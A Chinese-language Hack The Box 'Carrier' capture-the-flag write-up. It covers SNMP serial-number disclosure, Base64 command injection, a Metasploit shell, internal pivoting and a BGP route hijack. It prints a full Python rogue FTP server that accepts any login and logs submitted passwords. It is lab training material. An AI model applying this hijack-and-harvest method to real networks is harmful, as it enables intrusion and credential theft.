Hack The Box Carrier WriteUp

1.扫描端口,可以发现80端口有web工作,存在明显提示Error45007和Error45009,随后对网站目录进行遍历,可以发现doc目录,其中有两个一份,一份是Error代码说明,一份是网络拓扑。在代码说明文档中可以看出web接口的用户名是admin,密码是序列号。
web接口
错误代码说明文档
网络拓扑diagram_for_tac.png

2.snmpwalk发现序列号SN#NET_45JDX23
序列号

3.利用凭据登录web系统,其中Tickets和Diagnostics页面有丰富线索。在Tickets中提示我们10.120.15.0/24网段中存在关键FTP服务器,Diagnostics存在命令注入,不过命令进过Base64编码。
Tickets页面
命令注入

4.利用msf生成elf木马,获得shell,并在获得的session上添加路由,会发现目标的网络配置相当复杂,有三块网卡,回连的IP地址也不是10.10.10.105,同时在session上添加socks代理,这样可以更方便的扫描内网
添加session路由
ifconfig
架设代理

5.经过详细的内网扫描可以发现,子网段中有少许存活机器,但没有实际用处,只有一台10.120.15.10开放21Ftp服务,匿名登录没有信息,但重要的Ftp应该就是它。在内网扫描时要注意nmap容易阻塞网络,可以用nc或sh脚本进行ping扫描。我们将目标重新拉回已控主机10.99.64.2,netstat -pantu发现有2601端口bgp服务运行,同时bgp在三个自治域间都有通联,我们的shell在AS100中,Tickets页面提示的Ftp在CastCom即AS200中,连接Ftp的机器很可以能在AS300中,根据网卡情况eth1应该连接AS300,eth2应该连接AS200。
netstat -pantu

6.攻击bgp协议,做子网劫持,目的是将AS200中的10.120.15.10的访问转到已控主机,抓包分析,是否有登录凭据。要做到这个目的,需要修改bgp路由表,修改eth2网卡ip为10.120.15.10,重启网络和quagga服务
修改bgp广播路由

7.nc -l 10.120.15.10 -p 21 发现有来自21端口的访问,但是缺少FTP状态码,不会发送登录密码,所以还需要在目标上架设完整的FTP服务器,目标有python3环境。
#!/usr/bin/env python
# --*-- coding: utf-8 --*--

import socket
import threading
import os
import stat
import sys
import time

allow_delete = False

try:
    HOST = socket.gethostbyname(socket.gethostname( ))
except socket.gaierror:
    HOST = '0.0.0.0'
HOST = '10.120.15.10'
PORT = 21  # command port
CWD  = os.getenv('HOME')

def log(func, cmd):
        logmsg = time.strftime("%Y-%m-%d %H-%M-%S [-] " + func)
        print("\033[31m%s\033[0m: \033[32m%s\033[0m" % (logmsg, cmd))

class FtpServerProtocol(threading.Thread):
    def __init__(self, commSock, address):
        threading.Thread.__init__(self)
        self.authenticated = False
        self.pasv_mode     = False
        self.rest          = False
        self.cwd           = CWD
        self.commSock      = commSock   # communication socket as command channel
        self.address       = address

    def run(self):
        """
        receive commands from client and execute commands
        """
        self.sendWelcome()
        while True:
            try:
                data = self.commSock.recv(1024).rstrip()
                try:
                    cmd = data.decode('utf-8')
                except AttributeError:
                    cmd = data
                log('Received data', cmd)
                if not cmd:
                    break
            except socket.error as err:
                log('Receive', err)

            try:
                cmd, arg = cmd[:4].strip().upper(), cmd[4:].strip( ) or None
                func = getattr(self, cmd)
                func(arg)
            except AttributeError as err:
                self.sendCommand('500 Syntax error, command unrecognized. '
                    'This may include errors such as command line too long.\r\n')
                log('Receive', err)

    #-------------------------------------#
    ## Create Ftp data transport channel ##
    #-------------------------------------#
    def startDataSock(self):
        log('startDataSock', 'Opening a data channel')
        try:
            self.dataSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            if self.pasv_mode:
                self.dataSock, self.address = self.serverSock.accept( )

            else:
                self.dataSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.dataSock.connect((self.dataSockAddr, self.dataSockPort))
        except socket.error as err:
            log('startDataSock', err)

    def stopDataSock(self):
        log('stopDataSock', 'Closing a data channel')
        try:
            self.dataSock.close( )
            if self.pasv_mode:
                self.serverSock.close( )
        except socket.error as err:
            log('stopDataSock', err)

    def sendCommand(self, cmd):
        self.commSock.send(cmd.encode('utf-8'))

    def sendData(self, data):
        self.dataSock.send(data.encode('utf-8'))

    #------------------------------#
    ## Ftp services and functions ##
    #------------------------------#
    def USER(self, user):
        log("USER", user)
        if not user:
            self.sendCommand('501 Syntax error in parameters or arguments.\r\n')

        else:
            self.sendCommand('331 User name okay, need password.\r\n')
            self.username = user

    def PASS(self, passwd):
        log("PASS", passwd)
        if not passwd:
            self.sendCommand('501 Syntax error in parameters or arguments.\r\n')

        elif not self.username:
            self.sendCommand('503 Bad sequence of commands.\r\n')

        else:
            self.sendCommand('230 User logged in, proceed.\r\n')
            self.passwd = passwd
            self.authenticated = True

    def TYPE(self, type):
        log('TYPE', type)
        self.mode = type
        if self.mode == 'I':
            self.sendCommand('200 Binary mode.\r\n')
        elif self.mode == 'A':
            self.sendCommand('200 Ascii mode.\r\n')

    def PASV(self, cmd):
        log("PASV", cmd)
        self.pasv_mode  = True
        self.serverSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.serverSock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.serverSock.bind((HOST, 0))
        self.serverSock.listen(5)
        addr, port = self.serverSock.getsockname( )
        #self.sendCommand('277 Entering Passve mode (%s,%d,%d).\r\n' %
          #  (addr.replace('.', ','), (port / 256), (port % 256)))
        #self.sendCommand('227 Entering Passive Mode (%s,%u,%u).\r\n' % (','.join(addr.split('.')), port>>8&0xFF, port&0xFF))
        #self.sendCommand('227 Entering Passive Mode (%s,%u,%u).\r\n' % (','.join(addr.split('.')), port>>8&0xFF, port&0xFF))
        self.sendCommand('227 Entering Passive Mode (%s,%u,%u).\r\n' %
                (','.join(addr.split('.')), port>>8&0xFF, port&0xFF))

    '''
    def PORT(self, pair):
        log('PORT', pair)
        pair = pair.split(',')
        ip, p1, p2 = ('.'.join(pair[:4]), pair[5], pair[6])
        self.dataSockAddr = ip
        self.dataSockPort = (256 * p1) + p2
        self.sendCommand('200 Ok.\r\n')
    '''
    def PORT(self,cmd):
        log("PORT: ", cmd)
        if self.pasv_mode:
            self.servsock.close()
            self.pasv_mode = False
        l=cmd[5:].split(',')
        self.dataSockAddr='.'.join(l[:4])
        self.dataSockPort=(int(l[4])<<8)+int(l[5])
        self.sendCommand('200 Get port.\r\n')

    def LIST(self, dirpath):
        if not self.authenticated:
            self.sendCommand('530 User not logged in.\r\n')
            return

        if not dirpath:
            pathname = os.path.abspath(os.path.join(self.cwd, '.'))
        elif dirpath.startswith(os.path.sep):
            pathname = os.path.abspath(dirpath)
        else:
            pathname = os.path.abspath(os.path.join(self.cwd, dirpath))

        log('LIST', pathname)
        if not self.authenticated:
            self.sendCommand('530 User not logged in.\r\n')

        elif not os.path.exists(pathname):
            self.sendCommand('550 LIST failed Path name not exists.\r\n')

        else:
            self.sendCommand('150 Here is listing.\r\n')
            self.startDataSock( )
            if not os.path.isdir(pathname):
                fileMessage = fileProperty(pathname)
                self.dataSock.sock(fileMessage+'\r\n')

            else:
                for file in os.listdir(pathname):
                    fileMessage = fileProperty(os.path.join(pathname, file))
                    self.sendData(fileMessage+'\r\n')
            self.stopDataSock( )
            self.sendCommand('226 List done.\r\n')

    def NLIST(self, dirpath):
        self.LIST(dirpath)

    def CWD(self, dirpath):
        pathname = dirpath.endswith(os.path.sep) and dirpath or os.path.join(self.cwd, dirpath)
        log('CWD', pathname)
        if not os.path.exists(pathname) or not os.path.isdir(pathname):
            self.sendCommand('550 CWD failed Directory not exists.\r\n')
            return
        self.cwd = pathname
        self.sendCommand('250 CWD Command successful.\r\n')

    def PWD(self, cmd):
        log('PWD', cmd)
        self.sendCommand('257 "%s".\r\n' % self.cwd)

    def CDUP(self, cmd):
        self.cwd = os.path.abspath(os.path.join(self.cwd, '..'))
        log('CDUP', self.cwd)
        self.sendCommand('200 Ok.\r\n')

    def DELE(self, filename):
        pathname = filename.endswith(os.path.sep) and filename or os.path.join(self.cwd, filename)
        log('DELE', pathname)
        if not self.authenticated:
            self.sendCommand('530 User not logged in.\r\n')

        elif not os.path.exists(pathname):
            self.send('550 DELE failed File %s not exists.\r\n' % pathname)

        elif not allow_delete:
            self.send('450 DELE failed delete not allow.\r\n')

        else:
            os.remove(pathname)
            self.sendCommand('250 File deleted.\r\n')

    def MKD(self, dirname):
        pathname = dirname.endswith(os.path.sep) and dirname or os.path.join(self.cwd, dirname)
        log('MKD', pathname)
        if not self.authenticated:
            self.sendCommand('530 User not logged in.\r\n')

        else:
            try:
                os.mkdir(pathname)
                self.sendCommand('257 Directory created.\r\n')
            except OSError:
                self.sendCommand('550 MKD failed Directory "%s" already exists.\r\n' % pathname)

    def RMD(self, dirname):
        import shutil
        pathname = dirname.endswith(os.path.sep) and dirname or os.path.join(self.cwd, dirname)
        log('RMD', pathname)
        if not self.authenticated:
            self.sendCommand('530 User not logged in.\r\n')

        elif not allow_delete:
            self.sendCommand('450 Directory deleted.\r\n')

        elif not os.path.exists(pathname):
            self.sendCommand('550 RMDIR failed Directory "%s" not exists.\r\n' % pathname)

        else:
            shutil.rmtree(pathname)
            self.sendCommand('250 Directory deleted.\r\n')

    def RNFR(self, filename):
        pathname = filename.endswith(os.path.sep) and filename or os.path.join(self.cwd, filename)
        log('RNFR', pathname)
        if not os.path.exists(pathname):
            self.sendCommand('550 RNFR failed File or Directory %s not exists.\r\n' % pathname)
        else:
            self.rnfr = pathname

    def RNTO(self, filename):
        pathname = filename.endswith(os.path.sep) and filename or os.path.join(self.cwd, filename)
        log('RNTO', pathname)
        if not os.path.exists(os.path.sep):
            self.sendCommand('550 RNTO failed File or Direcotry  %s not exists.\r\n' % pathname)
        else:
            try:
                os.rename(self.rnfr, pathname)
            except OSError as err:
                log('RNTO', err)

    def REST(self, pos):
        self.pos  = int(pos)
        log('REST', self.pos)
        self.rest = True
        self.sendCommand('250 File position reseted.\r\n')

    def RETR(self, filename):
        pathname = os.path.join(self.cwd, filename)
        log('RETR', pathname)
        if not os.path.exists(pathname):
            return
        try:
            if self.mode=='I':
                file = open(pathname, 'rb')
            else:
                file = open(pathname, 'r')
        except OSError as err:
            log('RETR', err)

        self.sendCommand('150 Opening data connection.\r\n')
        if self.rest:
            file.seek(self.pos)
            self.rest = False

        self.startDataSock( )
        while True:
            data = file.read(1024)
            if not data: break
            self.sendData(data)
        file.close( )
        self.stopDataSock( )
        self.sendCommand('226 Transfer complete.\r\n')


    def STOR(self, filename):
        if not self.authenticated:
            self.sendCommand('530 STOR failed User not logged in.\r\n')
            return

        pathname = os.path.join(self.cwd, filename)
        log('STOR', pathname)
        try:
            if self.mode == 'I':
                file = open(pathname, 'wb')
            else:
                file = open(pathname, 'w')
        except OSError as err:
            log('STOR', err)

        self.sendCommand('150 Opening data connection.\r\n' )
        self.startDataSock( )
        while True:
            data = self.dataSock.recv(1024)
            if not data: break
            file.write(data)
        file.close( )
        self.stopDataSock( )
        self.sendCommand('226 Transfer completed.\r\n')

    def APPE(self, filename):
        if not self.authenticated:
            self.sendCommand('530 APPE failed User not logged in.\r\n')
            return

        pathname = filename.endswith(os.path.sep) and filename or os.path.join(self.cwd, filename)
        log('APPE', pathname)
        self.sendCommand('150 Opening data connection.\r\n')
        self.startDataSock( )
        if not os.path.exists(pathname):
            if self.mode == 'I':
                file = open(pathname, 'wb')
            else:
                file = open(pathname, 'w')
            while True:
                data = self.dataSock.recv(1024)
                if not data:
                    break
                file.write(data)

        else:
            n = 1
            while not os.path.exists(pathname):
                filename, extname = os.path.splitext(pathname)
                pathname = filename + '(%s)' %n + extname
                n += 1

            if self.mode == 'I':
                file = open(pathname, 'wb')
            else:
                file = open(pathname, 'w')
            while True:
                data = self.dataSock.recv(1024)
                if not data:
                    break
                file.write(data)
        file.close( )
        self.stopDataSock( )
        self.sendCommand('226 Transfer completed.\r\n')

    def SYST(self, arg):
        log('SYS', arg)
        self.sendCommand('215 %s type.\r\n' % sys.platform)

    def HELP(self, arg):
        log('HELP', arg)
        help = """
            214
            USER [name], Its argument is used to specify the user's string. It is used for user authentication.
            PASS [password], Its argument is used to specify the user password string.
            PASV The directive requires server-DTP in a data port.
            PORT [h1, h2, h3, h4, p1, p2] The command parameter is used for the data connection data port
            LIST [dirpath or filename] This command allows the server to send the list to the passive DTP. If
                 the pathname specifies a path or The other set of files, the server sends a list of files in
                 the specified directory. Current information if you specify a file path name, the server will
                 send the file.
            CWD Type a directory path to change working directory.
            PWD Get current working directory.
            CDUP Changes the working directory on the remote host to the parent of the current directory.
            DELE Deletes the specified remote file.
            MKD Creates the directory specified in the RemoteDirectory parameter on the remote host.
            RNFR [old name] This directive specifies the old pathname of the file to be renamed. This command
                 must be followed by a "heavy Named "command to specify the new file pathname.
            RNTO [new name] This directive indicates the above "Rename" command mentioned in the new path name
                 of the file. These two Directive together to complete renaming files.
            REST [position] Marks the beginning (REST) ​​The argument on behalf of the server you want to re-start
                 the file transfer. This command and Do not send files, but skip the file specified data checkpoint.
            RETR This command allows server-FTP send a copy of a file with the specified path name to the data
                 connection The other end.
            STOR This command allows server-DTP to receive data transmitted via a data connection, and data is
                 stored as A file server site.
            APPE This command allows server-DTP to receive data transmitted via a data connection, and data is stored
                 as A file server site.
            SYS  This command is used to find the server's operating system type.
            HELP Displays help information.
            QUIT This command terminates a user, if not being executed file transfer, the server will shut down
                 Control connection\r\n.
            """
        self.sendCommand(help)

    def QUIT(self, arg):
        log('QUIT', arg)
        self.sendCommand('221 Goodbye.\r\n')

    def sendWelcome(self):
        """
        when connection created with client will send a welcome message to the client
        """
        self.sendCommand('220 Welcome.\r\n')


def serverListener( ):
    global listen_sock
    listen_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listen_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listen_sock.bind((HOST, PORT))
    listen_sock.listen(5)

    log('Server started', 'Listen on: %s, %s' % listen_sock.getsockname( ))
    while True:
        connection, address = listen_sock.accept( )
        f = FtpServerProtocol(connection, address)
        f.start( )
        log('Accept', 'Created a new connection %s, %s' % address)


if __name__ == "__main__":
    log('Start ftp server', 'Enter q or Q to stop ftpServer...')
    listener = threading.Thread(target=serverListener)
    listener.start( )

    if sys.version_info[0] < 3:
        input = raw_input

    if input().lower() == "q":
        listen_sock.close( )
        log('Server stop', 'Server closed')
        sys.exit( )

8.FTP服务器能够解惑密码,利用密码可以登录10.10.10.105,拿到最后的flag.txt
登录凭据
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,544评论 6 501
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,430评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,764评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,193评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,216评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,182评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,063评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,917评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,329评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,543评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,722评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,425评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,019评论 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,671评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,825评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,729评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,614评论 2 353

推荐阅读更多精彩内容